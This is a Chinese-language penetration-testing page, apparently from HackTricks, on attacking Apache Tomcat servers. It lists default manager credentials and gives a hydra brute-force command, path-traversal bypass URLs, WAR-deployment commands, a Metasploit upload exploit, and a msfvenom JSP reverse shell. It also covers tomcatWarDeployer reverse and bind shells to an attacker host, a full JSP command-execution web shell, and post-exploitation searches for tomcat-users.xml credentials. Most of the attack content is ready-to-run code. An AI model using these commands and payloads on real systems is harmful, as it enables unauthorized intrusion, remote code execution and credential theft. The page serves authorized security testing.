Tomcat

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

Try Hard Security Group


发现

  • 通常在端口8080上运行

  • 常见的Tomcat错误:

枚举

版本识别

要找到Apache Tomcat的版本,可以执行一个简单的命令:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

管理文件位置

识别 /manager/host-manager 目录的确切位置至关重要,因为它们的名称可能会被更改。建议使用暴力搜索来定位这些页面。

用户名枚举

对于早于 6 版本的 Tomcat,可以通过以下方式枚举用户名:

msf> use auxiliary/scanner/http/tomcat_enum

默认凭据

/manager/html 目录特别敏感,因为它允许上传和部署 WAR 文件,这可能导致代码执行。该目录受基本的 HTTP 身份验证保护,常见凭据包括:

  • admin:admin

  • tomcat:tomcat

  • admin:

  • admin:s3cr3t

  • tomcat:s3cr3t

  • admin:tomcat

可以使用以下命令测试这些凭据:

msf> use auxiliary/scanner/http/tomcat_mgr_login

另一个值得注意的目录是 /manager/status,它显示了Tomcat和操作系统的版本,有助于识别漏洞。

暴力破解攻击

要尝试对管理目录进行暴力破解攻击,可以使用:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

常见漏洞

密码回溯泄露

在幸运的情况下,访问 /auth.jsp 可能会显示密码的回溯。

双重URL编码

mod_jk 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历,通过特制的URL可以未经授权访问管理界面。

要访问 Tomcat 的管理网页,请转到:pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcat 版本 4.x 到 7.x 包括易受信息泄露和跨站脚本(XSS)攻击影响的示例脚本。这些列出的脚本应该被检查是否存在未经授权访问和潜在利用。查找更多信息

  • /examples/jsp/num/numguess.jsp

  • /examples/jsp/dates/date.jsp

  • /examples/jsp/snp/snoop.jsp

  • /examples/jsp/error/error.html

  • /examples/jsp/sessions/carts.html

  • /examples/jsp/checkbox/check.html

  • /examples/jsp/colors/colors.html

  • /examples/jsp/cal/login.html

  • /examples/jsp/include/include.jsp

  • /examples/jsp/forward/forward.jsp

  • /examples/jsp/plugin/plugin.jsp

  • /examples/jsp/jsptoserv/jsptoservlet.jsp

  • /examples/jsp/simpletag/foo.jsp

  • /examples/jsp/mail/sendmail.jsp

  • /examples/servlet/HelloWorldExample

  • /examples/servlet/RequestInfoExample

  • /examples/servlet/RequestHeaderExample

  • /examples/servlet/RequestParamExample

  • /examples/servlet/CookieExample

  • /examples/servlet/JndiServlet

  • /examples/servlet/SessionExample

  • /tomcat-docs/appdev/sample/web/hello.jsp

路径遍历利用

在一些Tomcat的易受配置中,您可以使用路径 /..;/ 访问Tomcat中的受保护目录。

因此,例如,您可能能够通过访问 www.vulnerable.com/lalala/..;/manager/html访问Tomcat管理器页面。

另一种绕过受保护路径的方法是访问 http://www.vulnerable.com/;param=value/manager/html

RCE

最后,如果您可以访问Tomcat Web应用程序管理器,您可以上传和部署.war文件(执行代码)

限制

只有当您拥有足够的权限(角色:adminmanagermanager-script)时,您才能部署WAR。这些详细信息通常在 /usr/share/tomcat9/etc/tomcat-users.xml 中定义(在不同版本之间可能有所不同)(请参阅POST部分)。

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit是一个广泛使用的渗透测试工具,可以帮助渗透测试人员评估系统的安全性,发现漏洞并执行各种攻击。

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom反向Shell

  1. 创建用于部署的war文件:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. 上传 revshell.war 文件并访问它 (/revshell/):

使用 tomcatWarDeployer.py 进行绑定和反向 shell

在某些情况下,这种方法不起作用(例如旧版本的 sun)

下载

git clone https://github.com/mgeeky/tomcatWarDeployer.git

反向 shell

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

绑定 shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

使用 Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

手动方法 - Web shell

创建名为 index.jsp 的文件,并使用以下内容

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

手动方法2

获取一个JSP Web shell,比如这个,并创建一个WAR文件:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat凭据文件的名称为 tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

其他收集Tomcat凭证的方法:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

其他Tomcat扫描工具

参考资料

Try Hard Security Group

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

最后更新于